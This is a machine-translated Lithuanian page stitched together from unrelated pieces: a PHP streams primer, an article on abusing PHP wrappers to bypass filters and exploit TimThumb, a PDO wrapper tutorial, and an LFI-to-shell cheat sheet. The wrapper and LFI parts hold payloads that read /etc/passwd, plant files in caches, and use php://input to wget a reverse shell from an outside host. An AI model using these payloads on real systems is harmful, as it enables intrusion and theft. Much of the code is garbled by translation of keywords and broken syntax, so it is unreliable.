Programuojant nuolat tenka dirbti su įvairiais ištekliais: failais, lizdais, http jungtys. Ir visi jie turi tam tikrą prieigos sąsają, dažnai nesuderinamą viena su kita. Todėl, siekiant pašalinti šiuos neatitikimus ir suvienodinti darbą su įvairiais duomenų šaltiniais, pradedant nuo PHP 4.3 buvo sugalvoti PHP srautai – srautai.

Nors PHP 4.3 išėjo seniai, daugelis PHP programuotojai turi labai miglotą supratimą apie gijos PHP, ir toliau naudoti CURL visur, nors ir viduje PHP Tam yra patogesnė alternatyva formoje Srauto kontekstas.

Yra šių tipų srautai PHP:

  • Failas standžiajame diske;
  • HTTP ryšys su svetaine;
  • Junginys UDP su serveriu;
  • ZIP failas;
  • Failas* .mp3.

Ką bendro turi visi šie ištekliai? Visas jas galima skaityti ir rašyti, t.y. visoms joms gali būti taikomos skaitymo ir rašymo operacijos. Jėga PHP srautai Apgaulė ta, kad visus šiuos išteklius galite pasiekti naudodami tą patį funkcijų rinkinį. Tai labai patogu. Be to, jei staiga atsiranda toks poreikis, galite parašyti savo gijų tvarkyklės įgyvendinimą "srauto įvynioklis". Be skaitymo ir rašymo, srautai PHP taip pat leidžia atlikti kitas operacijas, pvz., pervadinti ir ištrinti.

Programavimas įjungtas PHP, Jūs jau susidūrėte su gijomis, nors galbūt to nesupratote. Taigi, funkcijos, veikiančios su gijomis, yra fopen (), file_get_contents(), failas () ir tt Taigi iš tikrųjų jūs jau naudojate failų srautus visą šį laiką, visiškai skaidriai.

Norėdami dirbti su kito tipo srautu, turite nurodyti jo protokolą (įvynioklis) taip: wrapper://some_stream_resource, Kur įvynioklis://- tai, pavyzdžiui http://, file://, ftp://, zip:// ir tt, ir some_stream_resource - URI, nurodo, ką norite atidaryti. URI formatui netaiko jokių apribojimų. Pavyzdžiai:

  • http://site/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://vartotojas: [apsaugotas el. paštas]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Tačiau atminkite, kad ne visi protokolai ir tvarkyklės gali jums padėti, nes kai kurių apvalkalų palaikymas priklauso nuo jūsų nustatymų. Todėl norėdami sužinoti, kurie protokolai yra palaikomi, turite paleisti šį scenarijų:

// registruotų lizdų pervežimų sąrašas
print_r(stream_get_transports());

// registruotų gijų (tvarkytojų) sąrašas
print_r(stream_get_wrappers());

// registruotų filtrų sąrašas
print_r(stream_get_filters();

PHP gijos kontekstai

Dažnai pateikiant http užklausą reikia nurodyti papildomus parametrus. Gijos kontekstai išsprendžia šią problemą, leisdami nurodyti papildomus parametrus. Daugelis giją žinančių funkcijų turi pasirenkamą gijos konteksto parametrą. Pažiūrėkime į funkciją file_get_contents():

Eilutė file_get_contents(eilutė $failo pavadinimas [, int $flags = 0 [, šaltinis $kontekstas [, int $offset = -1 [, int $maxlen = -1]]]])

Kaip matote, gijos kontekstas perduodamas kaip trečiasis parametras. Kontekstai kuriami naudojant funkciją stream_context_create(), kuris paima masyvą ir grąžina konteksto išteklius.

$options = masyvas(
"http" => array(
"method" => "GAUTI",
"header" => "Priimti kalbą: en\r\n".
"Slapukas: foo = baras\r\n"
);

$kontekstas = srautas_kontekstas_kurti($parinktys);

// Tai naudojimas su file_get_contents ...
echo file_get_contents("http://www.example.com/", 0, $kontekstas);

Taigi šiandien mes sužinojome, kas tai yra gijos ir gijų kontekstai PHP, peržiūrėjome jų naudojimo pavyzdžius, o tolesniuose straipsniuose kalbėsime apie srauto metaduomenis ir sukursime savo tvarkyklę.

Programavimo kalbos lankstumas suteikia kūrėjams patogumo, bet taip pat atveria naujų atakų vektorių. PHP kūrėjai dažnai naudoja vadinamuosius įvyniojimus ir net neįtaria, kad tai gali lemti programoje įmontuotų saugos filtrų apėjimą ir, pavyzdžiui, leisti vykdyti serveryje. savavališkas kodas. Šiandien kalbėsime apie įvyniojimus, jų savybes ir su jais susijusias grėsmes.

ĮSPĖJIMAS

Visa informacija pateikiama tik informaciniais tikslais. Nei redaktoriai, nei autorius neatsako už galimą žalą, padarytą naudojant šiame straipsnyje pateiktą medžiagą.

Įvadas

Pažeidžiamumas, susijęs su PHP įdiegtu įvyniojimo mechanizmu, buvo aptariamas gana ilgą laiką. Nuorodos į juos yra OWASP TOP 10 ir WASC TCv2. Tačiau daugybė duomenų kodavimo ypatybių lemia tai, kad net programose, sukurtose atsižvelgiant į saugumo reikalavimus, gali būti pažeidžiamumų (įskaitant kritinius). Šiame straipsnyje pirmiausia trumpai apžvelgsime, kas yra PHP paketai ir kuo jie gali būti naudingi programuotojams. Tada išanalizuosime jų funkcijas, leidžiančias apeiti programoje įmontuotus saugos filtrus ir įgyvendinti atakas, susijusias su neleistina prieigaĮ failų sistema ir savavališko kodo vykdymas.

Įvyniojimai

PHP turi tokį dalyką kaip srautai, kurie pasirodė interpretatoriuje nuo 4.3.0 versijos. Tai abstraktus sluoksnis, skirtas darbui su failais, tinklu, suspaustais duomenimis ir kitais ištekliais naudojant vieną funkcijų rinkinį. Paprasčiausiu apibrėžimu gija yra išteklius, pasižymintis „panašiu į giją“ elgesiu. Tai yra šaltinis, iš kurio galite skaityti, į kurį galite rašyti ir kuriame galite naršyti. Pavyzdžiui, apsvarstykite funkciją fopen. Remiantis oficialia dokumentacija, ji turi tokią sintaksę:

Išteklių fopen (eilutė $failo pavadinimas, eilutė $mode [, bool $use_include_path = false [, šaltinis $kontekstas ]])

kur $failo pavadinimas gali būti kelias į vietinį failą. Gerai žinoma, kad vietinių failų turinį galite gauti taip:

$rankena = fopen($failas, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) spausdinti $turinys;

Tačiau be trivialaus kelio į failą galima naudoti vadinamuosius įvyniojimus. Geriausias būdas Norėdami paaiškinti, kas tai yra, pateikite keletą pavyzdžių. Taigi, naudojant įvyniojimus per tą pačią „fopen“ funkciją, tampa įmanoma:

  • atsisiųskite failus iš FTP: ftp://user: [apsaugotas el. paštas]/pub/failas.txt;
  • susisiekite, jei prieiga prie jų apribota, į server-status/server-info per IP: http://127.0.0.1/server-status;
  • prieiti prie skaitymui atidarytų failų aprašų (PHP >= 5.3.6): php://fd/XXX;
  • ir netgi vykdyti OS komandas (jei įdiegtas laukiamas plėtinys): expect://ls.

Apvyniotuvai (taip pat žinomi kaip protokolų tvarkytojai arba vyniotuvai) nurodo funkcijoms, kaip apdoroti duomenis iš srauto. Todėl duomenims iš įvairių šaltinių gauti gali būti naudojamos funkcijos, palaikančios įvyniojimus. Apvyniojimai leidžia lanksčiai ir patogiai apdoroti bet kokiu srautu į programą patenkančius duomenis, o taip pat prireikus juos modifikuoti.

Nagrinėjamame pavyzdyje įvyniokliai buvo naudojami skaitymo režimu. Jei duomenys įrašomi, tokiu atveju vyniotuvai taip pat gali išplėsti daugelio funkcijų galimybes. Pavyzdžiui, funkcija copy() palaiko abiejuose savo argumentuose esančius paketus, o jei antrasis argumentas naudoja php://output wrapper, tada nukopijuotas failas siunčiamas į išvesties buferį. Taigi, kopijavimo () funkcija leidžia ne tik kopijuoti failus, bet ir juos skaityti.

Kopijuoti ("/etc/passwd" , "php://output");

Panašiai galite naudoti funkciją file_put_contents ir bet kurią kitą funkciją, kuri palaiko įvyniojimą rašymo režimu:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 pristatė php://fd paketą, kuris suteikia tiesioginę prieigą prie failų aprašų. Jei PHP yra įdiegtas kaip Apache modulis, php://fd paketas leidžia įrašyti savavališkus duomenis į access_log/error_log (paprastai šių failų teisės yra 644, ir tik root gali rašyti tiesiai į juos).

Reikia pasakyti, kad PHP turi gana daug integruotų įvyniojimų, tačiau jūs galite sukurti ir registruoti savo įpakavimus naudodami stream_wrapper_register funkciją. Daugiau išsamią informaciją Jį galite rasti oficialioje PHP svetainėje. Visas sąrašas Turimus įvyniojimus galite peržiūrėti skiltyje phpinfo – Registruoti PHP srautai.

Kai kurie paketai turi nedokumentuotų funkcijų, leidžiančių efektyviau išnaudoti žiniatinklio programų spragas. Būtent šias savybes mes apsvarstysime šiandien.

Ką sudaro ZIP?

ZIP yra populiarus duomenų glaudinimo ir failų archyvavimo formatas. Šio formato palaikymas įdiegtas visose šiuolaikinėse operacinės sistemos, o bibliotekos darbui su juo sukurtos daugeliui programavimo kalbų. PHP, norint dirbti su šiuo formatu, patogu naudoti zip modulį.

„Linux“ sistemose zip modulis tampa prieinamas, jei PHP sukompiliuojamas naudojant --enable-zip parinktį. Galite ne tik archyvuoti atskirus failus, bet ir ištisus katalogus; Siekiant išsaugoti katalogo struktūrą, į archyvą įtrauktų failų pavadinimuose leidžiama naudoti pasvirąjį brūkšnį /. Kita svarbi zip modulio savybė yra galimybė apdoroti failus su savavališku pavadinimu: svarbiausia, kad failo turinys būtų teisingai suformuotas ZIP archyvas.

ZIP archyvo kūrimas $zip = naujas ZIP archyvas;if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/mano/antraštė.html", "

uždaryti ();

Sukūrę ZIP archyvą, galite naudoti zip:// įpakavimą, kad tiesiogiai pasiektumėte archyve esančius failus.

Failo nuskaitymas iš ZIP archyvo spausdinimo failas_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Galimybė archyvuoti failus su pasviruoju brūkšniu jų pavadinimuose leidžia išnaudoti nuotolinio failo įtraukimo pažeidžiamumą, kai nėra nulinio baito. Pavyzdžiui, apsvarstykite šį paprastą scenarijų:

$s = $_POST["kelias"]; įtraukti $s."/header.html";

Žinoma, kodo vykdymą šiuo atveju galite pasiekti įvairiais būdais. Tačiau paketų http://, ftp://, data:// naudojimą riboja direktyva allow_url_include, o nulinio baito naudojimas įtraukiant vietinius failus greičiausiai neleidžiamas magic_quotes_gpc direktyva. Ir netgi gali atrodyti, kad naudojant allow_url_include=Off ir magic_quotes_gpc=On nėra galimybės išnaudoti pažeidžiamumo. Tačiau yra ir kitas būdas, anksčiau viešai neaprašytas!

Pirmiausia tarkime, kad galima sukurti failus užpultame serveryje. Tada, sukūrus ZIP archyvą, kaip parodyta aukščiau esančiame pavyzdyje, galima vykdyti PHP kodą naudojant zip:// įpakavimą.

Path=zip:///tmp/any_name_zip_arxiv#/my

Jei neįmanoma sukurti reikiamo failo naudojant PHP funkciją, galite naudoti laikinus failus, kuriuos PHP sukuria įkeldamas turinį per HTML formą. Kelią į laikinąjį failą galima rasti iš phpinfo (). Išsamesnės informacijos apie laikinųjų failų naudojimą išnaudojant pažeidžiamumą, pvz., LFI/RFI, rasite rdot.org forume. Svarbu pažymėti, kad direktyva allow_url_fopen neriboja zip:// įvynioklio naudojimo.

Kur yra mano duomenys://?

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ tipo "/" potipis ] *(";" parametras) data:= *urlchar parameter:= atributas "=" reikšmė

Šiuo atveju mediatype gali visiškai nebūti arba gali būti užpildyta savavališkomis reikšmėmis:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Šią įvyniojimo funkciją galima naudoti norint apeiti patikrinimus ir filtrus. Pavyzdžiui, populiariame TimThumb v1.x scenarijuje yra toks filtras:

Funkcija validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; grąžinti preg_match ($pattern, $url); )

Šį patikrinimą galite apeiti taip:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

PHP yra funkcija stream_get_meta_data(). Remiantis oficialia dokumentacija, ji ištraukia metaduomenis iš srautų ir failų rodyklių:

Masyvas stream_get_meta_data (išteklius $stream)

Tuo pačiu metu grąžintame masyve yra elementų su aiškiai apibrėžtais raktais, o užduotis pridėti naujų elementų į šį masyvą iš pirmo žvilgsnio atrodo gana problemiška. Tačiau naudodami „data://“ įvyniotuvą galite gana lengvai valdyti šį masyvą! Kaip? Pateiksiu pavyzdį:

$slaptažodis = "slaptas"; $failas = $_POST["failas"]; $fp = fopen($failas, "r"); ekstraktas(stream_get_meta_data($fp)); if ($mediatype === "tekstas/paprastas") ( ... ) if ($_COOKIE["adminas"] === $slaptažodis) (... )

Jei kintamajame $file vietoj vietinio failo pavadinimo naudojate duomenų įvyniotuvą,

PASKELBTI DUOMENYS: file=data://text/plain;password=mysecret;base64

tada galite lengvai nepaisyti $password parametro ir, naudodami slapukus, perduoti įgaliojimą.

Slapukas: admin=mysecret

Šaltas kompresas

Remiantis dokumentacija, kompresas.zlib:// įvynioklis leidžia išpakuoti gz archyvus. Jei naudojate šį paketą duomenims, kurie nėra zlib archyvas, apdoroti, duomenys grąžinami nepakeisti.

Skaityti failą ("compress.zlib:///etc/hosts");

"Labai naudinga!" - pagalvosi :). Dabar bus vėsiau. Jei programavote PHP žiniatinkliui, tikriausiai esate susipažinę su prase_url() funkcija. Leiskite jums priminti, kad ši funkcija analizuoja URL. Ir čia yra vienas įdomus dalykas: funkcijos įvestį galima pateikti ne tik URL, bet ir gana bendro tipo eilute:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Naudodamiesi šia funkcija, galite apeiti įvairius patikrinimus ir filtrus, pagrįstus funkcija parse_url, naudodami daugiafunkcinius įvynioklius. Pavyzdžiui, apsvarstykite šį scenarijų, kuris, pasak kūrėjų, gali atsisiųsti failus tik iš patikimo img.youtube.com prieglobos.

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["kelias"], 4)); kopija ($ src, "./".$vardas);

Įprastu režimu peržiūros iš img.youtube.com įkeliamos taip:

PASKELBTI DUOMENYS: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

Tokiu atveju filtrą taip pat galima apeiti naudojant kompresą.zlib:// įvyniojimą.

PASKELBTI DUOMENYS: src=compress.zlib://img.youtube.com/../path/to/local/file;

Be to, gana lengva apeiti pagrindinio kompiuterio pavadinimo filtrą ir į serverį įkelti failą su savavališku pavadinimu ir turiniu, naudojant anksčiau aptartą data:// įvyniotuvą:

PASKELBTI DUOMENYS: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

Tokiu atveju vietiniai failai bus nukopijuoti į peržiūros aplanką: jei šį aplanką galima pasiekti tiesiogiai iš naršyklės, tada bus galima peržiūrėti sistemos failus. Šis pavyzdys rodo, kad data:// ir compress.zlib:// paketų naudojimas gali būti naudingas scenarijuose, kurie atsisiunčia failus iš nuotolinių prieglobų. Vienas iš tokių scenarijų yra TimThumb.


TimThumb v1.x pažeidžiamumų išnaudojimas

TimThumb yra populiarus vaizdo scenarijus, naudojamas daugelyje „WordPress“ temų ir papildinių. 2011 m. rugpjūčio mėn. buvo rastas kritinis TimThumb v 1.32 scenarijaus pažeidžiamumas, leidžiantis į užpultą serverį įkelti failus su PHP kodu, o ne vaizdus iš patikimų kompiuterių. Beveik per naktį viešoje erdvėje pasirodė patarėjas, išsamiai aprašęs šio pažeidžiamumo išnaudojimą.

Pažeidžiamumo esmė buvo ta, kad scenarijus neteisingai patikrino URL su patikimų prieglobų sąrašu, iš kurio buvo galima atsisiųsti vaizdus. Norint apeiti filtrus, pavyzdžiui, patikimoje priegloboje blogger.com, buvo pasiūlyta užregistruoti ketvirto lygio domeną, kuriame būtų patikimo pagrindinio kompiuterio URL, pvz., blogger.com.attacker.com, ir atsisiųsti failus iš šio domeno.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Tokiu būdu buvo galima išnaudoti pažeidžiamumą iki 1.32 versijos (142 versija). Tačiau naujesnės versijos taip pat buvo pažeidžiamos. Pažiūrėkime, kaip vaizdai įkeliami 1.34 versijoje (145 versija):

Funkcija check_external ($src) ( .................... $failo pavadinimas = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $ failo pavadinimas if (!file_exists ($local_filepath)) (if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ")) !==false)( if (!validate_url ($src)) display_error ("netinkamas URL"); $url_info = parse_url ($src); ............ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["užklausa" ]); ... ................... if (funkcija_egzistuoja ("curl_init")) ( ............... ...... $fh = fopen($local_filepath, "w"); ................ curl_setopt ($ch, CURLOPT_FILE, $fh) curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"). file_infos = getimagesize ($local_filepath) if (empty ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) (atsieti () $vietinis_failo kelias);

touch($local_filepath); ......................

  1. Nesunku pastebėti, kad kuriant funkciją check_external buvo padarytos kelios loginės klaidos:
  2. Baigus daugumą patikrų, funkcija parse_str gauna nefiltruotus vartotojo duomenis. Taigi galite nepaisyti anksčiau patikrintų kintamųjų: $url_info['host'], $src, $local_filepath. Todėl galima atsisiųsti failus iš bet kurio serverio.

Įkėlus failą į serverį, pagal getimagesize patikrinama, ar failas yra vaizdas. Jei patikrinti nepavyksta, failas ištrinamas. Tačiau kadangi galima paveikti $local_filepath kintamąjį, vietinį failą galima pasiekti naudojant paketus php://filter, compress.zlib://. Ir šiuo atveju atsiejimo funkcija negalės ištrinti failo.

Po kiek kasinėjimo parašiau failų atsisiuntimo išnaudojimą. Su savavališku pavadinimu ir savavališku turiniu, į savavališką sistemos vietą.

1.x šaka baigiasi 149 versija, kurioje taip pat yra pažeidžiamumų. Šioje versijoje funkcija parse_str jau buvo pašalinta, todėl negalima perrašyti kintamųjų. Tačiau filtrai, kurie tikrina URL galiojimą, tik tikrina, ar eilutėje $src yra atitinkančių poeilučių. Be to, jei funkcija curl_init nepasiekiama užpultame serveryje, failai atsisiunčiami naudojant file_get_contents/file_put_contents. Svarbu pažymėti, kad šios funkcijos, skirtingai nei curl_init, palaiko visus PHP prieinamus paketus.

If(!$img = file_get_contents($src)) ( display_error("nuotolinio failo, skirto " . $src . "negalima pasiekti. Tikėtina, kad failo teisės yra apribotos"); ) if(file_put_contents($local_filepath, $img) == FALSE) ( display_error ("klaida rašant laikinąjį failą"); )

Taigi, naudodamiesi data:// įpakavimu, galite apeiti visus filtrus ir talpyklos kataloge sukurti failą su savavališku turiniu:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Arba naudokite kompresą.zlib:// įpakavimą, kad nukopijuotumėte vietinį failą į talpyklą:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Privalumas yra tas, kad failus iš talpyklos galima pasiekti tiesiogiai, todėl RCE pasiekiamas rašant apvalkalą naudojant duomenų įvyniotuvą, o vietinių failų turinys gaunamas naudojant kompresą.zlib.

Vietoj išvados

Akivaizdu, kad į PHP įmontuoti paketai suteikia puikias galimybes išnaudoti pažeidžiamumą, pvz., Failų manipuliavimą. Tačiau verta pastebėti, kad net paprasčiausios patikros funkcijomis file_exists, is_file, file size neleis naudoti įvyniojimų. Be to, kai įdiegta Suhosin pataisa, pagal numatytuosius nustatymus neįmanoma naudoti įvyniojimų įtraukose, net jei direktyva allow_url_include nustatyta į On. Šiuo metu aš neuždarau įvynioklių naudojimo temos ir kitame straipsnyje kalbėsiu apie php://filtro įvynioklio galimybes, naudodamas populiarių žiniatinklio variklių spragų išnaudojimo pavyzdžius. Sekite naujienas!


Pagrindinis tiek PDO, tiek mysqli trūkumas dirbant su paruoštomis išraiškomis yra tas, kad jų įtaisytosios funkcijos yra skirtos daugkartiniam paruoštos užklausos vykdymui (kai preparatas iškviečiamas tik vieną kartą, o paskui execute() iškviečiamas daug kartų su skirtingais duomenimis). . Štai kodėl jie yra tokie daugžodžiai. Bet bėda ta, kad praktikoje PHP gana retai pavyksta įvykdyti tokius prašymus. Dėl to daugeliui užklausų kiekvieną kartą turite rašyti nereikalingą kodą:

$stmt = $pdo -> paruošti ($sql );
$stmt -> vykdyti ($params);
$duomenys = $stmt -> gauti();

Kaip sakoma, dėl ko kovojo, į tai ir pateko. Kodas nebuvo sumažintas, palyginti su nuolat įsimenamu mysql_query(). Labai norėčiau!
Tuo pat metu Wesas Furlongas atliko dar vieną triuką su SKVN naudotojais – execute() grąžina kvailą Būlio reikšmę, užuot grąžinęs teiginį, kuris leistų įgyvendinti metodų grandinę ir gauti gražų kodą, pvz.

$duomenys = $pdo -> paruošti ($sql )-> vykdyti ($params )-> gauti ();

Bet, deja, net šis metodas yra beveik neprieinamas. Ir bet kuriuo atveju tai yra perteklinė, nes daugeliu atvejų mums nereikia nei ruoštis, nei vykdyti – tereikia kvailai įvykdyti prakeiktą užklausą, perduodant į ją prakeiktus duomenis, skirtus vietos žymėtojams.

Todėl, norėdami sumažinti rašymo skaičių, prie SKVN pridėsime vieną funkciją run(), kurios visa funkcija bus sumažinta iki aukščiau nurodyto kodo - execute parengti/vykdyti ir grąžinti teiginį:

klasė MyPDO išplečia SKVN
{
viešosios funkcijos vykdymas ($sql, $args = NULL)
{
$stmt = $this -> paruošti ($sql );
$stmt -> vykdyti ($args);
grąžinti $stmt ;
}
}

Ir iš teiginio galime gauti bet kokius duomenis bet kokiu standartiniu būdu:

$duomenys = $pdo -> paleisti ( "SELECT * FROM user WHERE sex="male"")-> gauti viską ();

Problema N2, prieinamumas
Kitas nemalonus atradimas pradedantiesiems yra tai, kad SKVN negalima pasiekti bet kurioje scenarijaus vietoje, pavyzdžiui, mysql_query().

Todėl kitas patobulinimas būtų prieigos prie SKVN įgyvendinimas naudojant statinį vienetą. Šis modelis dažnai kritikuojamas internete ir dėl geros priežasties. Bet čia jūs turite suprasti vieną paprastą dalyką:
Jei jūsų kodas yra jautrus problemoms, kurias gali sukelti vienas elementas, tai reiškia, kad jau naudojate aukšto lygio duomenų bazės tvarkyklę, greičiausiai iš populiarios sistemos.
Bet jei ką tik išėjote iš mysql_query() urvo ir įpratote jį rašyti per visą kodą, nesijaudindami dėl ryšių perdavimo, tada su savimi turėti SKVN egzempliorių bus rimtas išbandymas. Nepaisant to, kad pati SKVN sintaksė ir patys parengti posakiai nesudaro tokio silpno įėjimo slenksčio. Taigi pabandykime pasaldinti piliulę galimybe prieiti prie duomenų bazės iš bet kurios scenarijaus vietos, kaip senais gerais laikais.

Galutinis rezultatas yra labai kompaktiškas SKVN priedas, kuris, nors ir yra toks pat paprastas naudoti kaip mysql_query(), taip pat sumažina kodą ir užtikrina paruoštos išraiškos saugumą.

Kodas

define ("DB_HOST" , "localhost" );
apibrėžti ("DB_NAME" , "testas" );
define ("DB_USER" , "root" );
apibrėžti ("DB_PASS" , "" );
define ("DB_CHAR" , "utf8");

DB klasė
{
apsaugotas statinis $instancija = null ;

Viešoji funkcija __construct()()
viešoji funkcija __clone()()

Viešas statinės funkcijos pavyzdys()
{
if (self :: $instance === null )
{
$opt = masyvas(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
SKVN::ATTR_EMULATE_PREPARES => TRUE,
);
$dsn = "mysql:host=" . DB_HOST. ";dbname=" . DB_NAME. ";charset=". DB_CHAR ;
self :: $instance = naujas SKVN ($dsn, DB_USER, DB_PASS, $opt);
}
grąžinti save :: $instance ;
}

Vieša statinė funkcija __callStatic ($method, $args)
{
return call_user_func_array (masyvas(self :: instance(), $metodas), $args );
}

Vieša statinė funkcija ($sql , $args = )
{
jei (! $args )
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> vykdyti ($args);
grąžinti $stmt ;
}
}

Pavyzdžiai

# Sukurkite lentelę
DB::query( "KURTI laikinąją LENTELĘ pdowrapper (id int auto_increment pirminis raktas, pavadinimas varchar(255))");

# daugkartinis paruoštų išraiškų vykdymas
$stmt = DB::prepare( "INSERT INTO pdowrapper VALUES (NULL, ?)");
foreach ([ "Sam" , "Bob" , "Joe" ] kaip $name )
{
$stmt -> vykdyti([ $vardas ]);
}
var_dump(DB::lastInsertId());
//string(1) "3"

# Stygų priėmimas kilpoje
$stmt = DB::run("SELECT * FROM pdowrapper");
while ($row = $stmt -> gauti (SKVN :: FETCH_LAZY ))
{
echo $row [ "vardas" ], "," ;
echo $row -> name , "," ;
echo $row [ 1 ], PHP_EOL ;
}
/*
Semas, Semas, Semas
Bobas, Bobas, Bobas
Džo, Džo, Džo
*/

# Gaukite vieną eilutę
$id = 1 ;
$row = DB::run( "SELECT * FROM pdowrapper WHERE id=?", [ $id ])-> fetch();
var_export($row);
/*
masyvas (
"id" => "1",
"vardas" => "Samas",
*/

# Gauti vieną lauką
$vardas = DB::run( "SELECT name FROM pdowrapper WHERE id=?", [ $id ])-> fetchColumn();
var_dump($vardas);
//string(3) "Samas"

# Sudėkite visas eilutes į masyvą
$visi = DB::run( "SELECT name, id FROM pdowrapper")->fetchAll(SKVN::FETCH_KEY_PAIR);
var_export($visi);
/*
masyvas (
"Samas" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Atnaujinkite lentelę
$new = "Sue" ;
$stmt = DB::run( "ATNAUJINTI pdowrapper SET name=? WHERE id=?", [ $naujas , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFI reiškia Vietinis failas apima- tai failo vietinio įtraukimo pažeidžiamumas, leidžiantis užpuolikui įtraukti failus, esančius tiksliniame žiniatinklio serveryje. Paprastai tai išnaudojama piktnaudžiaujant dinaminiais failų įtraukimo mechanizmais, kurie nevalia vartotojo įvesties.

Scenarijai, kurie naudoja failų pavadinimus kaip parametrus, nevalydami vartotojo įvesties, yra tinkami LFI pažeidžiamumo kandidatai. Geras pavyzdys būtų toks PHP scenarijus foo.php?file=image.jpg, kuris kaip parametrą ima image.jpg. Užpuolikas tiesiog pakeistų image.jpg ir įterptų naudingąjį krovinį. Paprastai naudojamas katalogų perėjimo naudingas krūvis, kuris išeina iš scenarijaus katalogo ir kerta failų sistemos katalogo struktūrą, atskleidžiant jautrius failus, tokius kaip foo.php?file=../../../../../../.. /etc/passwd arba slaptus failus pačioje žiniatinklio programoje. Skelbtinos informacijos arba konfigūracijos failų, kuriuose yra SQL naudotojų vardų ir slaptažodžių, atskleidimas.

Pastaba: kai kuriais atvejais, atsižvelgiant į LFI pažeidžiamumo pobūdį, galima paleisti sistemos vykdomuosius failus.

Kaip gauti Shell iš LFI

Toliau pateikiami keli metodai, kuriuos anksčiau naudojau, kad gaučiau apvalkalą sistemose, kuriose yra pažeidžiami LFI scenarijai.

Path Traversal dar žinomas kaip Directory Traversal

Kaip minėta pirmiau, eikite per failų sistemos katalogo struktūrą, kad atskleistumėte slaptą informaciją apie sistemą, kuri gali padėti gauti apvalkalą, naudotojų vardus / slaptažodžius ir pan.

PHP Wrapper tikėtis:// LFI

Leidžia vykdyti sistemos komandas per php expect wrapper, deja, tai neįjungta pagal numatytuosius nustatymus.

Tikėtis PHP pavyzdys:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Žemiau pateikiama klaida, gauta, jei PHP laukia įvyniotuvas išjungtas:

Įspėjimas : įtraukti () : Nepavyko rasti įvynioklio „tikėtis“ – ar pamiršote jį įjungti, kai< br >sukonfigūravo PHP?< br >aplanke /var/www/fileincl/example1. php on line 7 Įspėjimas: įtraukti () : Nepavyko rasti< br >wrapper "tikėtis" - ar pamiršote jį įjungti, kai konfigūravote PHP? in/var/www/fileincl/example1. php on line 7 Įspėjimas: įtraukti (tikėtis: //ls): nepavyko atidaryti srauto: /var/www/fileincl/example1 tokio failo ar katalogo nėra. php on line 7 Įspėjimas : include () : Nepavyko atidaryti "expect://ls" įtraukimui (include_path =

".:/usr/share/php:/usr/share/pear"

) aplanke /var/www/fileincl/example1. php 7 eilutėje

PHP Wrapper php://file

Kitas PHP paketas, php://input, jūsų naudingoji apkrova siunčiama POST užklausa naudojant curl, burp arba hackbar, kad būtų pateikti pranešimo duomenys, tikriausiai yra lengviausia parinktis.

Http://192.168.183.128/fileincl/example1.php?page=php://input

"wget ​​​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

Įkėlę paleiskite atvirkštinį apvalkalą adresu http://192.168.183.129/shell.php

PHP Wrapper php://filter

Kitas PHP paketas, php://filter, šiame pavyzdyje išvestis yra užkoduota naudojant base64, todėl turėsite iššifruoti išvestį.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI metodas

Jei įmanoma įtraukti /proc/self/environ iš pažeidžiamo LFI scenarijaus, kodo vykdymas gali būti padidintas manipuliuojant vartotojo agento parametru su Burp. Įvedus PHP kodą /proc/self/environ gali būti paleista naudojant pažeidžiamą LFI scenarijų.

/proc/self/fd/ LFI metodas

Panašiai kaip ir ankstesniame /proc/self/environ metodu, į proc žurnalo failus galima įvesti kodą, kurį galima vykdyti naudojant pažeidžiamą LFI scenarijų. Paprastai jūs naudojate burp arba curl norėdami įterpti PHP kodą į nukreipimo priemonę.

Šis metodas yra šiek tiek sudėtingas, nes proc failas, kuriame yra „Apache“ klaidų žurnalo informacija, pasikeičia /proc/self/fd/, pvz.,. /proc/self/fd/2, /proc/self/fd/10 ir kt. Rekomenduočiau žiauriai priverstinai pritaikyti /proc/self/fd/ katalogo struktūrą su Burp Intruder + FuzzDB LFI-FD-Check.txt galimų proc failų sąrašu, tada galėsite stebėti grąžintus puslapių dydžius ir ištirti.

fimap LFI rašiklio testavimo įrankis

